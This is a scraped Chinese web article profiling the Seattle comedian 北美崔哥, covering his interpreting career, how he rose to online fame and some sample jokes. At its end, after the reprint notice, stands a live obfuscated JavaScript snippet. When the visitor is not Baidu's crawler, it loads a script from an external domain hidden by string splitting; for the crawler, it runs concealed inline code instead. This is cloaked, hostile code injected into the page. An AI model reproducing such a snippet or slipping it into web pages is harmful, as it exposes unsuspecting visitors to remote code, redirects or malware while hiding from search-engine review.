当前位置:首页 > 娱乐 > 网络红人 > 正文

北美崔哥个人资料图片,北美崔哥脱口秀走红

2012-10-26 20:21:17  来源:360常识网   热度:
导语:老外含泪诉说 娶中国太太的下场 "的一条博文在网上引起热议,北美崔哥一夜爆红,作者以诙谐戏谑的文风,描述了中美文化背景差异下,外国人眼中的中国太太。截止记者发稿为止,该条微博

10月25日,"北美崔哥:老外含泪诉说 娶中国太太的下场"的一条博文在网上引起热议,北美崔哥一夜爆红,作者以诙谐戏谑的文风,描述了中美文化背景差异下,外国人眼中的中国太太。截止记者发稿为止,该条微博转发量已经超过10万,引起众多网友讨论,纷纷吐槽中国老婆的彪悍之处。

北美崔哥个人资料图片,北美崔哥脱口秀,北美崔哥的博客,北美崔哥一夜爆红


  北美崔哥的个人资料

  北美崔哥是一位美式脱口秀笑星。他是地道的老北京人,北大毕业,专科英语,1988去美国留学,迄今已经20多年。在美国他在西雅图大学攻读过法律,曾经为比尔盖茨,波音总裁,星巴克总裁作过同声翻译,并且于2006年为胡锦涛总书记访美担任美方翻译。美国通的崔哥于2009年开创“北美崔哥脱口秀”,主打作品有“劝你不要来美国”。崔哥粉丝遍及美洲,欧洲,亚洲和澳洲。北美崔哥的博客

  从第一个脱口秀视频“翻译奥巴马讲话”,到让很多人感慨和疯狂追逐的“劝你不要来美国”,以及“中式英语说个够”,红透美加的“北美崔哥”的网络粉丝每天都以成倍的速度增长,收看人次已达到数十万之多。

  北美崔哥进军网络

  没错,崔宝印就是“北美崔哥”,在北京土生土长,家住永外宝华里,小学在崇文区,中学在白堆子外语学校,大学在北京大学,自认是“地道老北京,北京人中的北京人”。他能以脱口秀风靡网络、红透美加,正所谓一方水土养一方人,谁让骨子里流的就是“北京侃爷”的血呢?47岁的崔哥其实是个网盲,时下流行的博客、视频拍摄和上传,他一窍不通。而崔哥今天之所以能活跃走红于网络间,背后是经由高人指点。这个伯乐就是微软“虚拟地球”主创人之一、如今已海归上海出任中国最早网络视频公司PPLive首席执行官的陶闯。

  2009年5月,崔哥和陶闯在回中国的飞机上偶然相遇。两人都曾旅居加拿大多伦多,说起那里的不少朋友想念崔哥的笑话。十多个小时的旅途让崔哥接受陶闯的建议,向网络视频发展。

  北美崔哥意外走红

  有了方向,但具体操作仍然让崔哥摸不着门道,他想到了“倍可亲美国中文网”,于是就附上自己录的视频“劝你不要来美国”,给网站发了一封邮件,直言自己不知道怎么开博客,怎么上传视频。

  没想到,很快崔哥就收到回复,“倍可亲”上出现了“北美崔哥:劝你不要来美国”;更让崔哥没想到的是,不到两小时,就有50多人看了这段视频,一条条赞誉的跟帖让崔哥心里喜滋滋的。很快,这个由“倍可亲”封的“北美崔哥”成了网络红人,你转我载,“劝你不要来美国”曾达到一天内4.8万多人次观看的记录,而观众更是遍及美加以外,如墨西哥、爱尔兰等。还有粉丝甚至将这段视频一个字一个字地记下来,贴在自己的博客里。崔哥的伯乐陶闯当然也把他的脱口秀节目纳入旗下PPTV的娱乐频道之中。

  北美崔哥说笑话

  崔哥说笑话,其实是很多年前就开始了。那时的崔哥因为工作关系,常常去北京,和自己的哥们吃饭天南地北地侃。回西雅图后,就把这些笑话说给朋友们听,特别受欢迎。 崔哥回忆说,那时候每逢节假日,就被朋友请去吃饭,“有一年感恩节,同时有七拨人请,不为别的,大家就想听我说乐子”。之后,一些朋友一合计,2006年的时候在表尔威市(Bellevue)举办了一场个人搞笑段子专场。崔哥说:“那天来了1300多人,不少人站着听,还有人录音。三个星期后又在温哥华表演了一场,800多人。”

  崔哥的脱口秀吸收不少美国元素,那就是台上台下都有鼓手舞女,用他自己的话说就是“到了我的场子,全是演员,没有观众。”在台上台下一片共鸣中,崔哥嬉笑怒骂,侃得很high. 他的内容大都以海外华人生活为背景,以中国的崛起复兴为元素,让在海外飘流多年的游子听了扬眉吐气,觉得身为中国人有面子。当热,很多时候崔哥也对中国几千年的民族略根习惯加以调侃讥讽,无可奈何地付诸一笑。

北美崔哥个人资料图片,北美崔哥脱口秀,北美崔哥的博客,北美崔哥一夜爆红
北美崔哥在西雅图演出专场


  北美崔哥翻译生涯

  曾为微软的比尔·盖茨、波音的艾伦·莫利等做过同声翻译。“在美国,我缔造了翻译最高价,一小时1000美金。”

  正如崔哥自己所说,脱口秀并非他的主业。崔哥的脱口秀是自娱娱人,不靠它养家糊口,但崔哥现实生活中所从事的行业大都还是开口饭。最早,他在故宫博物院为各国领导人作参观解说,之后受郎平之邀为当年女排友好运动会做随团翻译,也曾为微软的比尔盖茨、波音的艾伦莫利等做过同声翻译,“在美国,我缔造了翻译最高价,一小时1000美金。”

  除此之外,崔哥开过中餐馆,现在手中还握着美国糖油饼(又称大象耳朵,elephant ear)在大西雅图地区的独家经营权,美国雇员有时近百人,生活无忧,以美食飨悠悠之口。“大象耳朵是美国人‘庙会’上必吃的小吃,当初一美元一个,现在涨到了6美元,美国人还是排大队购买。有时候一天就能收入上万美元,这门生意让我赚了钱,这也是我至今以此谋生的生意。”

  崔哥直言,有了这些维生之道,脱口秀就变得很单纯,也很快乐。不为名利,只为独乐乐和众乐乐。他说:“心态决定一切。现在,知道几千几万人喜欢我的脱口秀,这带来的快感远远大过卖几百张票(商业演出门票),超过了金钱可以衡量的。看到那些留言,我就像听见了鼓掌。”

  崔哥说,现在在外演出没收过一分钱,谷歌想要投放广告,他也拒绝了,“未来,如果做专场演出,我会寻求商业赞助,绝不收观众一分钱。还是那句老话,人这一辈子,没有几句话需要板起脸严肃地说。笑侃人生、笑谈人生,如此,利害得失就看得很淡了。”

  北美崔哥英文脱口秀

  英文也说得很溜的崔哥现在正在尝试英文脱口秀,以西雅图两大企业为背景,一个与星巴克有关,结合天津快板的形式,用英文说“中国人喝星巴克”。崔哥喜欢在脱口秀中为公司品牌起外号,也就是常说的品牌包装,让人在娱乐中印象深刻。比如他说的波音飞机和法国空客的区别,“有飞机,谁还坐Bus。”至今还是波音销售部门的口头禅。另一个与微软有关,为其搜索引擎Bing调侃,崔哥说“搜索从来不用谷歌,因为我有Bing!”。

  崔哥说,无论用什么语言,“我的脱!口秀要为中国人扬眉吐气,为中国呐喊助威,轻轻调侃其他文化,让中国人撒气、自豪,但也不能让其他族裔的人坐不住”。此外,崔哥也在试验一种新的舞台表现手法,以鼓聚人,让观众们始终保持High的情绪听他的脱口秀,他称之为“崔哥鼓会法拉利”(Brother Sway Finale)。相信在不久的将来,北美崔哥带来的不仅仅是一个个乐子,还有一层层惊喜。

  要说一个住西雅图、叫“崔宝印”的人的故事,你会问:“谁啊,没听说过,没兴趣!”若告诉你,这个“崔宝印”就是近来在网络上风风火火“劝你不要来美国”的人,你或许会尖叫:“啊!是他,北美崔哥!”

  北美崔哥成名过程

  北美崔哥北美崔哥定居在美国华盛顿州西雅图市,任北京同乡会副会长。他的脱口秀有感于海外华人的孤独苦闷,远离祖国和打拼异国所带来的压力,惆怅和失落。他的一段“劝你不要来美国”给成千上万的海外游子带来共鸣。接下来,他又推出力作“劝你不要嫁老外”、“搞笑翻译奥巴马”、“美国眼里的中国人”、“海龟高唱国际歌”、“要来就来洛杉矶”、“如何折腾美国人”、“西瓜太极走四方”、“今昔对比新中国”等等。

  崔哥的脱口秀除了轻松搞笑之外,最大的一个特点就是让海外华人抒发郁闷,为中国的崛起扬眉吐气,呐喊助威。他的脱口秀现场历来是红旗飘飘,锣鼓齐鸣,粉丝开道,像过大年一样。

  北美崔哥为什么走红

  为什么走红?海外的华人都太郁闷了“第一年到美国豪言壮语,第二年默默无语,第三年胡言乱语”。崔哥原是翻译高手,缔造在美翻译最高价。崔哥的脱口秀尽显美国式脱口秀风范,平易,自然,张口即来,临场抖包袱,和观众有热烈的互动,场面火爆。比如,在上海,崔哥笑侃道:十年前上海大街上可以看到扶着老奶奶过马路。现在呢,是扶着二奶过马路。有观众插话“这是在夸上海吗?”崔哥马上说,“我还没讲完,我是说,上海的老奶奶特年轻,长得跟二奶似的。”台下哄笑一片。

  又比如,崔哥在上海南京路采访一老外,问他,”想知道怎么融入上海主流社会吗?”老外点头。崔哥说,“那就是要随地吐痰。入乡随俗嘛。”老外说,“可,上海人已经不吐痰了,看看,大马路多干净呀。”崔哥马上说,“世博之后才吐呢。------ 当然,这是说笑。”

转载申明:360常识网,欢迎分享,转载请注明出处!
热门专区+全部

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}